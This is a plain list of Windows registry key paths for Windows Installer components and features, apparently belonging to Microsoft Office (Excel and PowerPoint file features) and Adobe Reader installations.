HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\2D762436AF7B6B543820741456BDAF60\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0F2A7E907B078294BBD356DC8840852C\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\379E92CC2CB71D119A12000A9CE1A22A\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D9C9EE5ED897D1D4BA2F23CE5128B0F2\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\818AED26EAB038A4BB72C55277E8CE84\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\687330DB272F1A54C967131CC53B826C\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\723C2F65179512E4D80BD2034028D528\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D8F5AB6B3B3FBA149A58A12B4A20334C\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E2338564DA4241F499CB8A1F84247C0E\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\54077434B37616D4A9EA6F78E98A56BF\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\723BCECF7B08D0A4F864A2A08963643F\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\9D474E7E9FB172E42A102B59039D88B0\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\4D18DE905BD78FC48A594175D75DF03C\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\85F98C50329537041A94BEA8DB880526\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\4E6F86E1FEF077645B1002B7C560B871\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E009C76CEC08635368DB50E4DDD1CAA1\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\7122F57A45DA6AE3EA412F558F665013\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A70728DA97715E8389326C667D0C7579\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\B4CCCEF758F027B37977C1762C52F53C\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\3A6D2077B64803E30B7837065053EB74\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\CCCB6CC6A1A288037B4AA64D8B1B14B2\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\ACEFFF49077DF5C37898805E60656DBF\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A8CD4AD91379E0F3B85DCF71AC8684DA\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\FFE8E5A39EFFBFB3C91EB0A7344C3917\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0F8B3D16074B2F53B855F7CCCDC83FF6\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\FB77723BFCB84D138A19CBBF155CD452\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\1C0EE3236E87CE636B08EE9C7403EE19\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\9FCE2B9622F87F2339EDB74D395D7D09\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\45613AFAE1635B33E95D40A9869823C5\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\6BD3219F5F227C1388E4B254ECC53CBA\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\96EB09331608BA034B79232D764B2973\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\13A31C284359A9136A90E7B8EFC2DFBB\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\FC271526B8EBA073BB778D86B925A4D6\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\45552A042794885318BD5875621A61DA\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\9BB8A76146A1B263E890F48D1B0F01E8\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\7DBB1C92272110335A0AED12BD0473EB\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\37709EB0F01C4FB319422B4DA2B2135C\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E0F2919EC5305C236A7AD687E12EB4D3\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\595273BDEAD50DF3E8E69B1B0681CE84\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\1BEF2E9B13536084DBE2F1D2C9CCF79B\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\9DA7BAFB053D9AE41AE7AAC762F84E26\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\638BAF8FEC5E9F645963D084A26A0B2D\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\6C9A6F846E2818A47A408CAF13381C71\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Features\00004109110000000000000000F01FEC\EXCELFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109110000000000000000F01FEC\Features\EXCELFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\98C6F8355DA2600418456C7670479E08\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\9E7E71FA8D502F64CBDEC044521ED39A\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\F53CAB350CF77D94AA5184C9C5104C0D\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\49DFBA7AF457A8B4EBD5783F921FACC2\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E76572D8D3D52F449849F14EDCB67B3D\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\304225DA0A80689489E4CEBA8B478F00\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\B6C468F8F8250534E92DA89F1E20D9B0\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\567D3332CC8D8B342B449DA5431AD4A3\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\8C4FD5B486E8B0A43A8E170A2BFA5779\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Features\00004109110000000000000000F01FEC\PPTFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109110000000000000000F01FEC\Features\PPTFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\02D0E27E36D0B834CB1729BAF9E9B845\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\EA892D3493CF4DE43B5C659D37BFD3E6\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\6FE6A09470C919B40AF5B58B30E8D6D6\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\4AFC55126308D32438EED59806D01BC9\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\EFEFB0B336789A24A95117DFC65BF0CE\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\7CD11C9D1A1CBA44A84764DA3A70F571\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\1B1CE6A9E646B1544A15BC039B124CF5\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0DC9A3374B7700D469383417DA0642D8\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\6CBE7CDAEBE170A468E9F52F53E13B29\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\974C3A6F87F80524B833C3244D961E2E\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Features\68AB67CA7DA73301B744BA0000000010\ReaderProgramFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\68AB67CA7DA73301B744BA0000000010\Features\ReaderProgramFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\721B0771CE7953B41B4784D92724CFAA\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\DC54B29B2C1A91D4E90228F71532EF25\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\B82ABB1D0C7664C4F8E6C16423F57234\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\DEA8E823AE59AFB43997F28B83C8E84C\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\4CC4B8FA1619E6F42A47B70FA255C113\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\DE47C49379177834F98FA76A4C043F52\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\49CED8721D0CF6841B27BB5ECC02FDED\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\F6DDF9A6A414A3B4099754ACAF7D735C\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\04B7C98CCE0F21F4E9EB7F0057A20EA0\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\B31492ABDE5EA584CA42E924A1EDC230\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\7A11E946102B22241B413AE2EEBAB671\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\5093AC69067959D408962E50AB061B60\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E1D0D1E43318B5442A80C602F00A7AD0\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\F2972C139BD83DC4B839D3A8D8AB621A\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D37F9C8794107AE4EB7242C863E97348\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\8F1AE0C9111C4CA4186FF4C932C8AB0E\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\27E36364CE095194D8B6C937FF83917E\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\4210D39FE9C0D214DA66C66F9C686753\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\492D11F7213901C4CB94E0E4B118E251\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\9C35D5C50471CE644AEE4949C8871815\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\1963DDD4CC5F2CA4FB3CDBEEDA7D2D59\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\5B8A5F9BB528C8A41BAFB0CD822BF716\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\5D0E502A00E4341458F9CDBC6F0EE22E\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\8094EE68166F12246B4E62D2E41E099F\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\3BAEA108B4F648940BB38C607D5B66E6\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A1495754F40101448A735EEF06175BF2\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\50998A8DA27A69B4D9116E985BAA8021\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\101E81DEBEAC18543939D4B1989AFB7C\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\DE1F717E44E961949815ACF28AC6DD0A\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\310F03195485741439F307764C3E7D7A\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0D6D0B5267ED7EE4787D23E669ABD587\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0C1E8614ACA269C46822B9BA31A0D2AA\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0349FF34B4F322D419FC9E5C7C0ED151\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A17E93B7C322E354E9C3B1590C6C34DB\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E082C2CFE94255942A14FB17BE6B3F2F\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E7170FFCD5100334F813E8CDBE124C99\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\F4397F6D435ECA24D81D699D63B6F39D\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\36AF20128E89D6F4A920F2A4636AC354\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\9C57278595DD8FA4A88153B1180C4A27\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\CC275594575BF0943AAEA81F6079425E\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\BFBC5C8C7FF632D43BEFE50028D06EFA\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\03F127B04DC4DF84D8A0BD9DD8A47311\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\77811AF0132F6A946B0E8D3F62D7AD8B\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\6B575167E61A6914E9C9B25DD8368F48\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\22F4DAC0B3D560C48B6ED1CFE16DED9D\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\2934E2C16CAF7964990D1969CD576B18\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0166F5B2D5C830A488E8308565152A9E\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\C3C19C1FA44616F44BB254F47F629665\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D4E0BF3F43A3AA94FB943174F1BD0864\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D79DCB1D1B9CF6B4499BE9D01197EA21\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\337ABE535D078D14099C57A239EF250D\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\85D8DD0E24C00DB40B10F9F38632A253\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\4092152B411BF7B4EB862533C938D699\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\850193B30EC5DA144B0582CB84538CDB\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E3FC65AB64CE51E4A99DF582E4B1CEAB\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\F1BC8F95270E2264A94F91ABF943EF71\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\07825A4C08C27B048AB777FE753EC55B\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\58425B8C9E5AC00428A391BFFC0DF99F\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\9D662FD830DA67B4AA73849147C05F24\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\F0D7C5C8E9C02F2488BF23F3D39E2F1B\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\AB53C2CEB1F9DA94B941AB6143866A46\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\6E3DFC5FE989BC54AA0A31C11E5E9951\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\C4E7397337911BB48ACFF35FB9685200\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\7FC201AD0BD12A34286188A3F8DA6C36\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\1DE7F110AFAA90C49809BCC45C22CCB7\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\206097A43463626498893D00E537F7D2\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\AD71E371BC38E864F82DB6404D2BF408\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E3A377A9AA6AD014AB28757CDAD646AA\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\1AE339F0568D45C489F213DC56E50B66\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\422B819BB22CE78499BB4A3C5FC7727F\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\C1C4C10236F37B6468D9370E57370193\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\378FC2EF63F82AB44BC07C8B6423ECB7\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\F5678751A1B3F6540861D057FDB0044D\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\5BBBC49BED1E9BC4FB408C4FEA9D517C\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\FE8D5430B37D66D4998D88A8CEC87799\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\47F704F177BAC3741AAF03FF2B4BA243\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D947E463877890F46BF47105A451E34A\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\68ABB2A17DA73301B744BA0000000010\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\BC219C03AE7F92040852907F1EAC2EFA\68AB67CA7DA73301B744BA0000000010
